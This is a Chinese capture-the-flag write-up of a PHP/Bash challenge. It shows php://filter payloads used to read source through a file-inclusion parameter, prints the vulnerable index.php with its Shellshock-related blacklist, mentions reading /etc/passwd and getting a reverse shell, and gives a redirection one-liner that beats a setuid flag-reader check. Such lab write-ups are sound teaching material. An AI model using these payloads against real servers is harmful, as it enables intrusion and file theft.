PHP&Bash&Linux…

0x01

题目地址

首先打开页面,发现导航栏中有几个选项。每个都点了一下之后,发现其用处。

  • Man:用来列出相关命令的文档
    url:index.php?func=man
  • Tar Tester:用来测试上传的tar文件
    url:index.php?func=untar
    上传文件1.tar测试

这里的tar -tvf并不会将文件解压到某个位置,所以没有什么可以利用的点。

  • Cmd Exec:用来执行命令并返回结果
    url:index.php?func=cmd

例如ls

也能执行其它一些命令但是有限制,例如whoami就不会被运行。

这里猜测这个功能做了白名单进行限制,这里没有源码,所以也认为没有可以用的点。

  • List files:列文件目录
    url:index.php?func=ls

例如当前目录

其中存在一个cat-flag.png很引人注目。接着又翻了翻其它的目录,其中/情况如下。

/目中存在一个flag,并且还有个flag-reader二进制程序,还启用了s权限,这样就能感觉的出来前面的cat-flag.png应该一个幌子。

功能就是上面这些。其实这个时候结合当前目录文件和功能的url已经可以做出一个推断:即调用功能的页面可能是以一个文件包含的形式。这样那么大概形式就应该是include($x.'.php');

因而这里利用php://filter进行流式读取。

1
2
3
4
5
func=php://filter/read=convert.base64-encode/resource=index
func=php://filter/read=convert.base64-encode/resource=ls
func=php://filter/read=convert.base64-encode/resource=cmd
func=php://filter/read=convert.base64-encode/resource=man
func=php://filter/read=convert.base64-encode/resource=untar

这样就得到了5个功能页面的源码(包括index.php)。
其中man.php|ls.php|untar.php都没有可以利用的点,cmd.php和预期的那样是做了个白名单。其中cmd.php的白名单如下。

这个地方可以使用cat flag查看是不是有什么提示之类的,虽然很大可能性就是个幌子。

果然什么都没有。那么就看到index.php的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
...
function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;
}

$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}

waf($_SERVER);
waf($_GET);
waf($_POST);

function execute($cmd, $shell='bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}

foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}

$page = '';

if(isset($_GET['func'])) {
$page = $_GET['func'];
if(strstr($page, '..') !== false) {
$page = '';
}
}

if($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}

function render_default() { ?>

其中$black_list禁用了/flag\(\)\s*\{\s*:;\s*\};,第一个好理解,把第二个做个简化处理变成() { :; }。如果熟悉CVE 2014-6271的话,其实看到putenv就能反应过来是个破壳漏洞利用。加上这里的黑名单提示和之前的cmd中允许执行env命令也能够推断出这个漏洞。(关于破壳漏洞

先读取个/etc/passwd测试。

这里也可以先读取flag-reader.c,看看是不是执行个命令就完事了。

flag-reader.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include  <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buff[4096], rnd[16], val[16];
if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
write(1, "Not enough random\n", 18);
}

setuid(1337);
seteuid(1337);
alarm(1);
write(1, &rnd, sizeof(rnd));
read(0, &val, sizeof(val));

if(memcmp(rnd, val, sizeof(rnd)) == 0) {
int fd = open(argv[1], O_RDONLY);
if(fd > 0) {
int s = read(fd, buff, 1024);
if(s > 0) {
write(1, buff, s);
}
close(fd);
} else {
write(1, "Can not open file\n", 18);
}
} else {
write(1, "Wrong response\n", 16);
}
}

这里的alarm已经说明只能在一秒之内输出转变为输入才能去读取/flag这个文件。因而还是反弹shell回来处理为妙。

关于flag-reader.c的绕过,就只需要找个可以写文件的目录,写入输出再读作输入就能解决。
这里的/tmp是不可读的。

找到/var/tmp是可以写入文件的。

payload:

1
./flag-reader > /var/tmp/idlefire < /var/tmp/idlefire /flag

这样这道题就结束了。

0x02 One’s Storm

  1. 利用文件包含读取源码
  2. 分析源码找出漏洞
  3. 利用漏洞获取shell
  4. 利用重定向绕过检测程序

(ง •_•)ง
2018-08-06 23:27:52 星期一